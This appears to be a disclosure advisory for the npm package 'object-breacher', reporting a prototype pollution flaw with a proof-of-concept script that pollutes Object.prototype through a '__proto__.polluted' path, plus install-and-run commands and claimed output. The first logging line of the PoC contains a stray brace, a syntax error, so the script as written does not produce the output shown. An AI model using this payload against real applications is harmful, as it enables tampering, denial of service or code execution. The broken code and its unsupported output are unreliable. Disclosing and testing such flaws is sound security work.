object-breacher

vulnerability prototype pollution
severity 7.3
language typescript
registry npm

Description

object-breacher is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const { set } = require('object-breacher')

console.log('Before: ' + {}.polluted})
set({}, '__proto__.polluted', true)
console.log('After:  '+ {}.polluted)
  1. Execute the following commands in the terminal:
npm i object-breacher # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.